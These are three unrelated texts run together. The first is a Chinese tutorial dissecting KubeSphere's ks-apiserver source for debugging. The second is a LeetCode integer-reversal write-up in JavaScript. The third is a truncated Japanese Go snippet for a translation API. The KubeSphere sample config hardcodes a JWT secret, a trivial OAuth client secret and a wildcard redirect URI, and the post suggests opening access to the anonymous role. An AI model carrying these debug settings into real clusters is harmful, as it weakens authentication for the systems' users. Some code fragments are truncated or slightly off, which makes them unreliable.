title: 'KubeSphere 后端源码深度解析'
tag: 'KubeSphere'
keywords: 'KubeSphere, 后端源码, Kubernetes'
description: '这篇文章我们将学习在 vscode 上的 ssh remote 插件基础上，尝试 debug 和学习 KubeSphere 后端模块架构。'
createTime: '2022-01-19'
author: '朱含'
snapshot: 'https://pek3b.qingstor.com/kubesphere-community/images/KubeSphere-backend-sourcecode.png'
---
这篇文章我们将学习在 vscode 上的 ssh remote 插件基础上，尝试 debug 和学习 KubeSphere 后端模块架构。
## 前提
- 安装好 vscode 以及 ssh remote container 插件；
- 在远程主机上安装好 kubenertes 容器 " 操作系统 " 和 KubeSphere >= v3.1.0 云“控制面板”；
- 安装 go >=1.16;
- 在 KubeSphere 上安装了需要 debug 的 KubeSphere 组件，如 devops、kubeedge 或者 whatever, 如果是默认激活的组件，像 monitoring，不需要去激活。
## 配置 launch 文件
```json
$ cat .vscode/launch.json
{
// 使用 IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息，请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "ks-apiserver",
"type": "go",
"request": "launch",
"mode": "auto",
"program": "${workspaceFolder}/cmd/ks-apiserver/apiserver.go"
}
]
}
```
## ks-apiserver 调试依赖文件
在相对路径 cmd/ks-apiserver/ 下配置 kubesphere.yaml。
首先，查看集群之中的 cm 配置文件 :
```bash
$ kubectl -n kubesphere-system get cm kubesphere-config -oyaml
```
因为上述 configmap 中差少 kubeconfig 相关配置，所以需要将上述 yaml 文件拷贝出来整合以下。
为啥要用添加 kubeconfig 文件？
主要是因为 K8s 在创建 client 时需要这么一个文件 , 而容器中会用到 inclusterconfig 就不需要添加了。
感兴趣可以看下 client-go 的例子：
> https://github.com/kubernetes/client-go/blob/master/examples/in-cluster-client-configuration/main.go#L41
>
> https://github.com/kubernetes/client-go/blob/master/examples/out-of-cluster-client-configuration/main.go#L53
所以完整的配置启动文件如下：
```yaml
$ cat ./cmd/ks-apiserver/kubesphere.yaml
kubernetes:
kubeconfig: "/root/.kube/config"
master: https://192.168.88.6:6443
$qps: 1e+06
burst: 1000000
authentication:
authenticateRateLimiterMaxTries: 10
authenticateRateLimiterDuration: 10m0s
loginHistoryRetentionPeriod: 168h
maximumClockSkew: 10s
multipleLogin: True
kubectlImage: kubesphere/kubectl:v1.20.0
jwtSecret: "Xtc8ZWUf9f3cJN89bglrTJhfUPMZR87d"
oauthOptions:
clients:
- name: kubesphere
secret: kubesphere
redirectURIs:
- '*'
network:
ippoolType: none
monitoring:
endpoint: http://prometheus-operated.kubesphere-monitoring-system.svc:9090
enableGPUMonitoring: false
gpu:
kinds:
- resourceName: nvidia.com/gpu
resourceType: GPU
default: True
notification:
endpoint: http://notification-manager-svc.kubesphere-monitoring-system.svc:19093
kubeedge:
endpoint: http://edge-watcher.kubeedge.svc/api/
gateway:
watchesPath: /var/helm-charts/watches.yaml
namespace: kubesphere-controls-system
```
除了 kubernetes, 第一层的 key 表示我们集群中已经按照或者默认激活的 KubeSphere 组件，现在就可以通过 F5 来启动 debug 了。
在 debug 之前，你可能会问，这个配置文件为啥要放在 /cmd/ks-apiserver/kubesphere.yaml?
我们先来探索一波 ks-apiserver 的运行逻辑。
## 启动 ks-apiserver
查看 cmd/ks-apiserver/app/server.go 的逻辑 :
```go
// Load configuration from file
conf, err := apiserverconfig.TryLoadFromDisk()
```
TryLoadFromDisk 的逻辑如下：
```go
viper.SetConfigName(defaultConfigurationName) // kubesphere
viper.AddConfigPath(defaultConfigurationPath) // /etc/kubesphere
// Load from current working directory, only used for debugging
viper.AddConfigPath(".")
// Load from Environment variables
viper.SetEnvPrefix("kubesphere")
viper.AutomaticEnv()
viper.SetEnvKeyReplacer(strings.NewReplacer(".", "_"))
// 上面一顿配置之后，单步调试，ReadInConfig这一步读取的文件路径是
// v.configPaths：["/etc/kubesphere","/root/go/src/kubesphere.io/kubesphere/cmd/ks-apiserver"]
if err := viper.ReadInConfig(); err != nil {
if _, ok := err.(viper.ConfigFileNotFoundError); ok {
return nil, err
} else {
return nil, fmt.Errorf("error parsing configuration file %s", err)
}
}
conf := New() // 初始化各组件配置
// 从读取的实际路径配置文件来反序列化到conf这个struct
if err := viper.Unmarshal(conf); err != nil {
return nil, err
}
return conf, n
```
上面的注释，解释了需要在指定路径下添加 kubesphere.yaml 启动 ks-apiserver 命令行。
我们接着往下撸，这里使用 cobra.Command 这个 package 来做命令行的集成：
```go
func Run(s *options.ServerRunOptions, ctx context.Context) error {
// NewAPIServer 通过给定的配置启动apiserver实例，绑定实例化的各组件的client
// 这一步还通过AddToScheme来注册一些自定义的GVK到k8s，最终暴露为apis API
// 借助rest.Config和scheme 初始化runtimecache和runtimeClient
apiserver, err := s.NewAPIServer(ctx.Done())
if err != nil {
return err
}
// PrepareRun 主要是使用resful-go集成kapis API
// 上一步绑定了各组件的client，这一步就可以调用各组件的client来访问对应组件的server端了
// 猜猜4.0后端可插拔架构会是什么样子的？
err = apiserver.PrepareRun(ctx.Done())
if err != nil {
return nil
}
// 运行各种informers同步资源，并开始ks-apiserver监听请求
return apiserver.Run(ctx)
}
```
s.NewAPIServer(ctx.Done()) 主要是创建一个 apiserver 实例。创建 apiserver 实例这一步，还通过 scheme 注册 ks 自定义的 GVK 到 K8s, 暴露为 apis 请求路径的 API。
PrepareRun 主要是使用 resful-go 框架集成了各子模块代理请求或集成服务， 暴露为 kapis 请求路径的 API 功能 。
apiserver.Run(ctx) 则是做了资源同步，并启动 server 监听。
下面分开阐述说明。
### NewAPIServer
首先是绑定各种 client 和 informers:
```go
// 调用各组件的NewForConfig方法整合clientset
kubernetesClient, err := k8s.NewKubernetesClient(s.KubernetesOptions)
if err != nil {
return nil, err
}
apiServer.KubernetesClient = kubernetesClient
informerFactory := informers.NewInformerFactories(kubernetesClient.Kubernetes(), kubernetesClient.KubeSphere(),kubernetesClient.Istio(), kubernetesClient.Snapshot(), kubernetesClient.ApiExtensions(), kubernetesClient.Prometheus())
apiServer.InformerFactory = informerFactory
...
// 根据kubesphere.yaml或者kubesphere-config configmap的配置来绑定ks组件的client
...
```
初始化绑定完毕后 , 会启动一个 server 来响应请求 , 所以这里会做一个 addr 绑定 :
```go
...
server := &http.Server{
Addr: fmt.Sprintf(":%d", s.GenericServerRunOptions.InsecurePort),
}
if s.GenericServerRunOptions.SecurePort != 0 {
certificate, err := tls.LoadX509KeyPair(s.GenericServerRunOptions.TlsCertFile, s.GenericServerRunOptions.TlsPrivateKey)
if err != nil {
return nil, err
}
server.TLSConfig = &tls.Config{
Certificates: []tls.Certificate{certificate},
}
server.Addr = fmt.Sprintf(":%d", s.GenericServerRunOptions.SecurePort)
}
sch := scheme.Scheme
if err := apis.AddToScheme(sch); err != nil {
klog.Fatalf("unable add APIs to scheme: %v", err)
}
...
```
注意这一步 apis.AddToScheme(sch), 将我们定义的 GVK 注册到 k8s 中。
顺带一提，GVK 指的是 Group,Version, Kind, 举个栗子：
```go
{Group: "", Version: "v1", Resource: "namespaces"}
{Group: "", Version: "v1", Resource: "nodes"}
{Group: "", Version: "v1", Resource: "resourcequotas"}
...
{Group: "tenant.kubesphere.io", Version: "v1alpha1", Resource: "workspaces"}
{Group: "cluster.kubesphere.io", Version: "v1alpha1", Resource: "clusters"}
...
```
Scheme 管理 GVK 和 Type 的关系 , 一个 GVK 只能对应一个 reflect.Type, 一个 reflect.Type 可能对应多个 GVK；此外，Scheme 还聚合了 converter 及 cloner, 用来转换不同版本的结构体和获取结构体值的拷贝；限于篇幅有限，感兴趣的童鞋可以深入探索下。
回归正文，下面我们看下怎么注入 scheme 的：
```go
// AddToSchemes may be used to add all resources defined in the project to a Schemevar AddToSchemes runtime.SchemeBuilder
// AddToScheme adds all Resources to the Schemefunc
AddToScheme(s *runtime.Scheme) error { return AddToSchemes.AddToScheme(s)}
```
而 AddToSchemes 这个类型的是`[]func(*Scheme) error` 的别名，只需要在 package apis 下的接口文件中实现相应的 init() 方法来导入实现的版本 API，就可以注入 Scheme 中。
举个例子：
```bash
$ cat pkg/apis/addtoscheme_dashboard_v1alpha2.go
package apis
import monitoringdashboardv1alpha2 "kubesphere.io/monitoring-dashboard/api/v1alpha2"
func init() {
AddToSchemes = append(AddToSchemes, monitoringdashboardv1alpha2.SchemeBuilder.AddToScheme)
}
```
也就是，我们开发的插件集成的版本化资源，必须实现 xxx.SchemeBuilder.AddToScheme 功能，才能注册到 scheme 中，最终暴露为 apis 访问 API 服务。
至此，所有子模块对应的 client 已经与这个 apiserver 绑定。
### PrepareRun
下面，我们探讨下 PrepareRun 是怎么注册 kapis 以及绑定 handler 的。
主要是通过 restful-go 框架来实现的。
restful-go 框架使用 container 来 hold 住拥有特定 GVR 的 webservice, 一个 webserver 可以绑定多个 router，允许 container 或者 webserver 添加自定义拦截器，也就是调用 filter 方法。
```go
func (s *APIServer) PrepareRun(stopCh <-chan struct{}) error {
// container来hold住拥有特定GVR的webservice
s.container = restful.NewContainer()
// 添加请求Request日志拦截器
s.container.Filter(logRequestAndResponse)
s.container.Router(restful.CurlyRouter{})
// 发生Recover时，绑定一个日志handler
s.container.RecoverHandler(func(panicReason interface{}, httpWriter http.ResponseWriter) {
logStackOnRecover(panicReason, httpWriter)
})
// 每个API组都构建一个webservice，然后根据路由规则来并绑定回调函数
// 通过AddToContainer来完成绑定
s.installKubeSphereAPIs()
// 注册metrics指标: ks_server_request_total、ks_server_request_duration_seconds
// 绑定metrics handler
s.installMetricsAPI()
// 为有效请求增加监控计数
s.container.Filter(monitorRequest)
for _, ws := range s.container.RegisteredWebServices() {
klog.V(2).Infof("%s", ws.RootPath())
}
s.Server.Handler = s.container
// 添加各个调用链的拦截器, 用于验证和路由分发
s.buildHandlerChain(stopCh)
return nil
}
```
上面主要使用 restful-go 框架给 s.Server.handler 绑定了一个 container, 添加了各种拦截器。
在 s.installKubeSphereAPIS() 这一步安装 GVR 绑定了 kapis 代理，具体是这样实现的：
```go
// 调用各api组的AddToContainer方法来向container注册kapi:
urlruntime.Must(monitoringv1alpha3.AddToContainer(s.container, s.KubernetesClient.Kubernetes(), s.MonitoringClient, s.MetricsClient, s.InformerFactory, s.KubernetesClient.KubeSphere(), s.Config.OpenPitrixOptions))
// 详细来说，各个组件实现的AddToContainer方法
// 为带有GroupVersion信息的webserver添加route，不同路由路径绑定不同的handler
ws := runtime.NewWebService(GroupVersion)
// 给子路由绑定回调函数
ws.Route(ws.GET("/kubesphere").
To(h.handleKubeSphereMetricsQuery).
Doc("Get platform-level metric data.").
Metadata(restfulspec.KeyOpenAPITags, []string{constants.KubeSphereMetricsTag}).
Writes(model.Metrics{}).
Returns(http.StatusOK, respOK, model.Metrics{})).
Produces(restful.MIME_JSON)
```
我们知道 apis 对应 K8s 的请求，而在 ks 中 kapis 对应子组件的代理请求，由 ks-apiserver 自身或者转发目标组件 server 来提供响应，那么 ks-apiserver 是怎么区分这些请求的？
答案是通过 buildHandlerChain 来进行分发的。
### buildHandlerChain
上面说到 buildHandlerChain 构建了各种服务的拦截器，按序排列如下。
```go
handler = filters.WithKubeAPIServer(handler, s.KubernetesClient.Config(), &errorResponder{})
if s.Config.AuditingOptions.Enable {
handler = filters.WithAuditing(handler,
audit.NewAuditing(s.InformerFactory, s.Config.AuditingOptions, stopCh))
}
handler = filters.WithAuthorization(handler, authorizers)
if s.Config.MultiClusterOptions.Enable {
clusterDispatcher := dispatch.NewClusterDispatch(s.InformerFactory.KubeSphereSharedInformerFactory().Cluster().V1alpha1().Clusters())
handler = filters.WithMultipleClusterDispatcher(handler, clusterDispatcher)
}
handler = filters.WithAuthentication(handler, authn)
handler = filters.WithRequestInfo(handler, requestInfoResolver)
```
WithRequestInfo 这个 filter 定义了如下逻辑：
```go
info, err := resolver.NewRequestInfo(req)
---
func (r *RequestInfoFactory) NewRequestInfo(req *http.Request) (*RequestInfo, error) {
...
defer func() {
prefix := requestInfo.APIPrefix
if prefix == "" {
currentParts := splitPath(requestInfo.Path)
//Proxy discovery API
if len(currentParts) > 0 && len(currentParts) < 3 {
prefix = currentParts[0]
}
}
// 通过api路由路径中的携带apis还是kapis就可以区分
if kubernetesAPIPrefixes.Has(prefix) {
requestInfo.IsKubernetesRequest = true
}
}()
...
// URL forms: /clusters/{cluster}/*
if currentParts[0] == "clusters" {
if len(currentParts) > 1 {
requestInfo.Cluster = currentParts[1]
}
if len(currentParts) > 2 {
currentParts = currentParts[2:]
}
}
...
}
```
代码很多，我就不一一截图了，大概意思可以从注释看到：
```go
// NewRequestInfo returns the information from the http request. If error is not nil, RequestInfo holds the information as best it is known before the failure
// It handles both resource and non-resource requests and fills in all the pertinent information for each.
// Valid Inputs:
//
// /apis/{api-group}/{version}/namespaces
// /api/{version}/namespaces
// /api/{version}/namespaces/{namespace}
// /api/{version}/namespaces/{namespace}/{resource}
// /api/{version}/namespaces/{namespace}/{resource}/{resourceName}
// /api/{version}/{resource}
// /api/{version}/{resource}/{resourceName}
//
// Special verbs without subresources:
// /api/{version}/proxy/{resource}/{resourceName}
// /api/{version}/proxy/namespaces/{namespace}/{resource}/{resourceName}
//
// Special verbs with subresources:
// /api/{version}/watch/{resource}
// /api/{version}/watch/namespaces/{namespace}/{resource}
//
// /kapis/{api-group}/{version}/workspaces/{workspace}/{resource}/{resourceName}
// /
// /kapis/{api-group}/{version}/namespaces/{namespace}/{resource}
// /kapis/{api-group}/{version}/namespaces/{namespace}/{resource}/{resourceName}
// With workspaces:
// /kapis/clusters/{cluster}/{api-group}/{version}/namespaces/{namespace}/{resource}
// /kapis/clusters/{cluster}/{api-group}/{version}/namespaces/{namespace}/{resource}/{resourceName}
```
通过路由定义的信息，就可以区分这个请求是什么级别的，以及这个请求要分发到哪个 server 了。
我们给各个 filter 的回调函数加上断点， 然后做个小实验看下拦截器的拦截顺序是怎样的。
假设远程云主机的服务已经启动，服务端口在 9090，以及你为 anonymous 这个 globalrole 设定了 monitoring.kubesphere.io 这个组下资源类型为 ClusterDashboard 的访问权限。当然了，你也可以用有访问权限的账号来直接测试。
接下来，我们来发送一个 kapis 请求，看这个链路怎么跳跃的：
```bash
curl -d '{"grafanaDashboardUrl":"https://grafana.com/api/dashboards/7362/revisions/5/download", "description":"this is a test dashboard."}' -H "Content-Type: application/json" localhost:9090/kapis/monitoring.kubesphere.io/v1alpha3/clusterdashboards/test1/template
```
测试结果如下：
```bash
WithRequestInfo -> WithAuthentication -> WithAuthorization -> WithKubeAPIServer
```
### Run
这个方法主要干了两件事，一是启动 informers 同步资源 , 二是启动 ks apiserver。
```go
func (s *APIServer) Run(ctx context.Context) (err error) {
// 启动informer工厂，包括k8s和ks的informers
// 同步资源，包括k8s和ks的GVR
// 检查GVR是否存在，不存在报错警告，存在就同步
err = s.waitForResourceSync(ctx)
if err != nil {
return err
}
shutdownCtx, cancel := context.WithCancel(context.Background())
defer cancel()
go func() {
<-ctx.Done()
_ = s.Server.Shutdown(shutdownCtx)
}()
// 启动server
klog.V(0).Infof("Start listening on %s", s.Server.Addr)
if s.Server.TLSConfig != nil {
err = s.Server.ListenAndServeTLS("", "")
} else {
err = s.Server.ListenAndServe()
}
return err
}
```
至此，调用完 Run 方法后，ks-apiserver 就启动了。
现在我们做一下简单总结：
- 根据配置文件创建 ks-apiserver 实例 , 该实例调用了三个关键方法，分别是 NewAPIServer、PrepareRun 以及 Run 方法；
- NewAPIServer 通过给定的配置，绑定各个模块的 client，将自定义的 GVK 注册到 Scheme，暴露 apis 路由服务；
- PrepareRun 通过 restful-go 框架来注册、绑定 kapi 路由和回调函数，用来自身响应或者下发组件 server 查询合并数据返回给客户端 ;
- 最后 , 调用 Run 方法，同步资源并启动 ks-apiserver 服务；
## GVK 探索实战
显然，我们只需要关注各模块的 AddToContainer 方法就行了。
### iam.kubesphere.io
> pkg/kapis/iam/v1alpha2/register.go
从代码注释来看，这个模块管理着 users、clustermembers、globalroles、clusterroles、workspaceroles、roles、workspaces groups 、workspace members、devops members 等账号角色的 CRUD。
现在我们可以在 handler 中打上断点，去请求这些 api。
```bash
$ curl "localhost:9090/kapis/iam.kubesphere.io/v1alpha2/users"
$ curl "localhost:9090/kapis/iam.kubesphere.io/v1alpha2/clustermembers"
$ curl "localhost:9090/kapis/iam.kubesphere.io/v1alpha2/users/admin/globalroles"
...
```
### kubeedge.kubesphere.io
> pkg/kapis/kubeedge/v1alpha1/register.go
代码里面使用的代理转发请求：
```go
func AddToContainer(container *restful.Container, endpoint string) error {
proxy, err := generic.NewGenericProxy(endpoint, GroupVersion.Group, GroupVersion.Version)
if err != nil {
return nil
}
return proxy.AddToContainer(container)
}
```
也就是 kapis/kubeedge.kubesphere.io 的请求会转发到 http://edge-watcher.kubeedge.svc/api/，也就是 kubeedge 这个 namespace 下的 service，相关的接口集成在那里。
关于整合边缘计算平台的集成，除了需要做一个主流边缘框架的快速安装和集成外，还可以集成一个类似 edge-shim 的适配器，大概需要从一下几个方面考虑：
- 代理 endpoint: 现在的 kubeedge 就是使用代理模式转发；
- 健康检查接口：至少要确保云端的组件已经成功部署；
- 事件、长期日志、审计等可观测组件的支持；
- 其他边缘辅助功能，如文件或者配置下发等；
### notification.kubesphere.io
> pkg/kapis/notification/v2beta1/register.go
这个组下的 api 主要实现了 notification 的全局或租户级别的 config 和 receivers 资源的 CRUD。
config 资源
> 用于配置对接通知渠道相关参数的一些配置，分为全局的和租户级别的 config 资源；
reciever 资源
> 用于配置接收者的一些配置信息，区分全局的和租户级别的接收者；
我们挑选一个回调函数进行剖析：
```go
ws.Route(ws.GET("/{resources}").
To(h.ListResource).
Doc("list the notification configs or receivers").
Metadata(KeyOpenAPITags, []string{constants.NotificationTag}).
Param(ws.PathParameter("resources", "known values include configs, receivers, secrets")).
Param(ws.QueryParameter(query.ParameterName, "name used for filtering").Required(false)).
Param(ws.QueryParameter(query.ParameterLabelSelector, "label selector used for filtering").Required(false)).
Param(ws.QueryParameter("type", "config or receiver type, known values include dingtalk, email, slack, webhook, wechat").Required(false)).
Param(ws.QueryParameter(query.ParameterPage, "page").Required(false).DataFormat("page=%d").DefaultValue("page=1")).
Param(ws.QueryParameter(query.ParameterLimit, "limit").Required(false)).
Param(ws.QueryParameter(query.ParameterAscending, "sort parameters, e.g. ascending=false").Required(false).DefaultValue("ascending=false")).
Param(ws.QueryParameter(query.ParameterOrderBy, "sort parameters, e.g. orderBy=createTime")).
Returns(http.StatusOK, api.StatusOK, api.ListResult{Items: []interface{}{}}))
func (h *handler) ListResource(req *restful.Request, resp *restful.Response) {
// 租户或用户的名称
user := req.PathParameter("user")
// 资源类型，configs/recievers/secrets
resource := req.PathParameter("resources")
// 通知渠道 dingtalk/slack/email/webhook/wechat
subresource := req.QueryParameter("type")
q := query.ParseQueryParameter(req)
if !h.operator.IsKnownResource(resource, subresource) {
api.HandleBadRequest(resp, req, servererr.New("unknown resource type %s/%s", resource, subresource))
return
}
objs, err := h.operator.List(user, resource, subresource, q)
handleResponse(req, resp, objs, err)
}
```
我们看下 list object 的逻辑：
```go
// List objects.
func (o *operator) List(user, resource, subresource string, q *query.Query) (*api.ListResult, error) {
if len(q.LabelSelector) > 0 {
q.LabelSelector = q.LabelSelector + ","
}
filter := ""
// 如果没有给定租户的名称，则获取全局的对象
if user == "" {
if isConfig(o.GetObject(resource)) {
// type=default对config资源来说是全局的
filter = "type=default"
} else {
// type=global对receiever资源来说是全局的
filter = "type=global"
}
} else {
// 否则就给过滤器绑定租户名称
filter = "type=tenant,user=" + user
}
// 组装过滤标签
q.LabelSelector = q.LabelSelector + filter
...
// 通过过滤标签获取cluster或者namespace下的指定资源
res, err := o.resourceGetter.List(resource, ns, q)
if err != nil {
return nil, err
}
if subresource == "" || resource == Secret {
return res, nil
}
results := &api.ListResult{}
...
}
```
这样一来，就实现了租户级别的通知告警 CR 配置的 CRUD，这些 CR 是这么分类的：
- config 分为全局 type = default, 租户 type = tenant 两种级别；
- reciever 分为全局 type = global, 租户 type = tenant 两种级别；
那么 config 和 reciever 怎么相互绑定、告警是如何通过渠道给租户发消息的？
> https://github.com/kubesphere/notification-manager/blob/master/pkg/webhook/v1/handler.go#L45
>
> https://github.com/kubesphere/notification-manager/blob/master/pkg/notify/notify.go#L66
notification-manager 简称 nm，我这里断章取义地简要回答一下。
功能方面：
- 全局配置 reciever 通过配置的渠道将所有的 alerts 发送给其定义好的接收者名单， 配置了租户信息的 reciever 只能通过渠道发送当前 ns 下的 alerts；
- reciever 中可以通过配置 alertSelector 参数来进一步过滤告警消息；
- 通过修改名为 notification-manager-template 的 confimap 来定制发送消息模板；
告警到通知的流程：
- nm 使用端口 19093 和 API 路径 /api/v2/alerts 接收从 Alertmanager 发送的告警 ;
- 回调函数接受 alerts 转换为 notification 模板数据，按照 namespace 区分告警数据；
- 遍历所有 Recievers，每个 ns 下启动一个协程来发送消息， 而这里每个 ns 对应着多个通知渠道，因此也使用 waitgroup 来并发编排完成任务；
### monitoring.kubesphere.io
> pkg/kapis/monitoring/v1alpha3/register.go
将监控指标分为平台级、节点级、workspaces、namespaces、pods 等级别，不仅可以获取总的统计，还能获取 nodes/namespaces/workspaces 下的所有 pods/containers 等监控指标。
我们查看回调函数，以 handleNamedMetricsQuery 为例分析：
- 遍历给定指标级别下的合法 metric 指标，根据请求参数中 metricFilter 的来过滤指标名；
- 判断为范围查询还是实时查询，来调取 monitoring 包中相关方法，通过对应的 client 请求后端获取结果返回；
代码如下：
```go
func (h handler) handleNamedMetricsQuery(resp *restful.Response, q queryOptions) {
var res model.Metrics
var metrics []string
// q.namedMetrics 是一组按照监控指标级别分类好的拥有promsql expr定义的完整指标名数组
// 监控指标级别分类是根据 monitoring.Levelxxx在上一个栈里细分的，i.e: monitoring.LevelPod
for _, metric := range q.namedMetrics {
if strings.HasPrefix(metric, model.MetricMeterPrefix) {
// skip meter metric
continue
}
// 根据请求参数中的指标名来过滤
ok, _ := regexp.MatchString(q.metricFilter, metric)
if ok {
metrics = append(metrics, metric)
}
}
if len(metrics) == 0 {
resp.WriteAsJson(res)
return
}
// 判断是否是范围查询还是实时查询，继续调用相关函数
// 主要还是用prometheus client去查询promsql, 边缘节点的指标目前通过metrics server来查询
if q.isRangeQuery() {
res = h.mo.GetNamedMetricsOverTime(metrics, q.start, q.end, q.step, q.option)
} else {
res = h.mo.GetNamedMetrics(metrics, q.time, q.option)
if q.shouldSort() {
res = *res.Sort(q.target, q.order, q.identifier).Page(q.page, q.limit)
}
}
resp.WriteAsJson(res)
}
```
现在，我们将视角移植到 :
> pkg/models/monitoring/monitoring.go:156
以 GetNamedMetricsOverTime 为例，这里阐述了会合并 prometheus 和 metrics-server 的查询结果进行返回：
```go
func (mo monitoringOperator) GetNamedMetricsOverTime(metrics []string, start, end time.Time, step time.Duration, opt monitoring.QueryOption) Metrics {
// 获取prometheus client查询结果，主要使用sync.WaitGroup并发查询，每个指标启动一个goroutine，最后将结果和并返回
ress := mo.prometheus.GetNamedMetricsOverTime(metrics, start, end, step, opt)
// 如果metrics-server激活了
if mo.metricsserver != nil {
//合并边缘节点数据
edgeMetrics := make(map[string]monitoring.MetricData)
for i, ressMetric := range ress {
metricName := ressMetric.MetricName
ressMetricValues := ressMetric.MetricData.MetricValues
if len(ressMetricValues) == 0 {
// this metric has no prometheus metrics data
if len(edgeMetrics) == 0 {
// start to request monintoring metricsApi data
mr := mo.metricsserver.GetNamedMetricsOverTime(metrics, start, end, step, opt)
for _, mrMetric := range mr {
edgeMetrics[mrMetric.MetricName] = mrMetric.MetricData
}
}
if val, ok := edgeMetrics[metricName]; ok {
ress[i].MetricData.MetricValues = append(ress[i].MetricData.MetricValues, val.MetricValues...)
}
}
}
}
return Metrics{Results: ress}
}
```
此外，monitoring 包还定义了各监控查询 client 的接口方法，可以按需探索：
- GetMetric(expr string, time time.Time) Metric
- GetMetricOverTime(expr string, start, end time.Time, step time.Duration) Metric
- `GetNamedMetrics(metrics []string, time time.Time, opt QueryOption) []Metric`
- `GetNamedMetricsOverTime(metrics []string, start, end time.Time, step time.Duration, opt QueryOption) []Metric`
- `GetMetadata(namespace string) []Metadata`
- `GetMetricLabelSet(expr string, start, end time.Time) []map[string]string`
### tenant.kubesphere.io
再聊 api 之前，顺带一提多租户在隔离的安全程度上，我们可以将其分为软隔离 (Soft Multi-tenancy) 和硬隔离 (Hard Multi-tenancy) 两种。
- 软隔离更多的是面向企业内部的多租需求；
- 硬隔离面向的更多是对外提供服务的服务供应商，需要更严格的隔离作为安全保障。
这个 group 下比较重要的部分是实现租户查询 logs/audits/events：
以查询日志为例：
```go
func (h *tenantHandler) QueryLogs(req *restful.Request, resp *restful.Response) {
// 查询上下文中携带的租户信息
user, ok := request.UserFrom(req.Request.Context())
if !ok {
err := fmt.Errorf("cannot obtain user info")
klog.Errorln(err)
api.HandleForbidden(resp, req, err)
return
}
// 解析查询的参数，比如确定属于哪个ns/workload/pod/container的查询、时间段，是否为柱状查询等
queryParam, err := loggingv1alpha2.ParseQueryParameter(req)
if err != nil {
klog.Errorln(err)
api.HandleInternalError(resp, req, err)
return
}
// 导出数据
if queryParam.Operation == loggingv1alpha2.OperationExport {
resp.Header().Set(restful.HEADER_ContentType, "text/plain")
resp.Header().Set("Content-Disposition", "attachment")
// 验证账号是否有权限
// admin账号可以导出所有ns的日志，租户只能导出本ns的日志
// 组装loggingclient进行日志导出
err := h.tenant.ExportLogs(user, queryParam, resp)
if err != nil {
klog.Errorln(err)
api.HandleInternalError(resp, req, err)
return
}
} else {
// 验证账号是否有权限
// admin账号可以查看所有ns的日志，租户只能查看本ns的日志
// 组装loggingclient进行日志返回
result, err := h.tenant.QueryLogs(user, queryParam)
if err != nil {
klog.Errorln(err)
api.HandleInternalError(resp, req, err)
return
}
resp.WriteAsJson(result)
}
}
```
由于篇幅有限，只对以上 GVR 进行了调试，感兴趣可以深入了解~ | 23,691 | Apache-2.0 |
---
layout: post
title: LeetCode No.7 整数反转
categories: [LeetCode]
description: 整数反转
keywords: LeetCode, JavaScript
---
# No.7 整数反转
## 题目
给出一个 32 位的有符号整数，你需要将这个整数中每位上的数字进行反转。
**注意** 假设我们的环境只能存储得下 32 位的有符号整数，则其数值范围为 [−2^31, 2^31 − 1]。请根据这个假设，如果反转后整数溢出那么就返回 0。
测试用例:
- reverse(123) -> 321
- reverse(-123) -> -321
- reverse(120) -> 21
``` javascript
/**
* @param {number} x
* @return {number}
*/
var reverse = function(x) {
return x;
};
```
## 思路
首先想到的就是 `Array.prototype.reverse()` 方法,但是 `reverse()` 方法是数组的方法,所以我们需要先将 number 取绝对值后使用此方法进行翻转,而后在使用`Array.prototype.join()` 将数组拼接起来,在组成number 类型,反出去.同时判断结果是不是在上文要求的范围内.
## 第一遍解答
``` javascript
/**
* @param {number} x
* @return {number}
*/
var reverse = function(x) {
if(typeof x !== 'number') {
throw new TypeError('请输入数字')
}
let overflow = function(num) {
if(num >= Math.pow(2, 31) - 1 || num <= -Math.pow(2, 31)) {
return 0;
}
return num;
}
let reversePositive = function(num) {
return Array.from(String(num)).reverse().join("")-0
}
let result = 0
if(x < 0) {
result = -1 * reversePositive(Math.abs(x))
} else {
result = reversePositive(x)
}
return overflow(result)
};
```
## 解析
按照上述思路,将 number 取绝对值后传入反转函数中,最后在判断是否超出范围.
此答案用时 `92ms`.超过`69.28%`的答案.
让我们来看一下执行为 `60ms` 的答案
## 进阶解答
``` javascript
/**
* @param {number} x
* @return {number}
* 答案来自 leetcode
*/
var reverse = function(x) {
let a = ''
if ( x < 0 ) a = '-'
let data = Math.abs(x).toString().split('')
if ( data.length < 2 ) return x
if ( data.length >= 32 ) return 0
a = a + Number(data.reverse().join(''))
if ( a > (Math.pow(2, 31) - 1) || a < Math.pow(-2, 31) ) {
return 0
} else{
return a
}
};
```
主要是将负数的处理放在了开始,并包含了隐式转换.同时也通过 `if`语句判断,做到及时返回.
## 想法
简单的这种题目,可以尽早的做判断从而早`return` 结束语句.从而达到减少执行时间的目的. | 1,906 | MIT |
---
author: erhopf
ms.service: cognitive-services
ms.topic: include
ms.date: 08/06/2019
ms.author: erhopf
ms.openlocfilehash: 758bd9b424146d62ab64f9721c67af4910e006e1
ms.sourcegitcommit: bb0afd0df5563cc53f76a642fd8fc709e366568b
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 05/19/2020
ms.locfileid: "83586743"
---
[!INCLUDE [Prerequisites](prerequisites-go.md)]
[!INCLUDE [Set up and use environment variables](setup-env-variables.md)]
## <a name="create-a-project-and-import-required-modules"></a>プロジェクトの作成と必要なモジュールのインポート
普段使用している IDE またはエディターで、新しい Go プロジェクトを作成します。 次に、このコード スニペットをプロジェクトの `sentence-length.go` という名前のファイルにコピーします。
```go
package main
import (
"bytes"
"encoding/json"
"fmt"
"log"
"net/http"
"net/url"
"os"
)
```
## <a name="create-the-main-function"></a>main 関数を作成する
このサンプルは、Translator のサブスクリプション キーとエンドポイントを環境変数 `TRANSLATOR_TEXT_SUBSCRIPTION_KEY` および `TRANSLATOR_TEXT_ENDPOINT` から読み取ることを試みます。 環境変数を使い慣れていない場合は、`subscriptionKey` と `endpoint` を文字列として設定し、条件ステートメントをコメント アウトすることができます。
このコードをプロジェクトにコピーします。
```go
func main() {
/*
* Read your subscription key from an env variable.
* Please note: You can replace this code block with
* var subscriptionKey = "YOUR_SUBSCRIPTION_KEY" if you don't
* want to use env variables. If so, be sure to delete the "os" import.
*/
if "" == os.Getenv("TRANSLATOR_TEXT_SUBSCRIPTION_KEY") {
log.Fatal("Please set/export the environment variable TRANSLATOR_TEXT_SUBSCRIPTION_KEY.")
}
subscriptionKey := os.Getenv("TRANSLATOR_TEXT_SUBSCRIPTION_KEY")
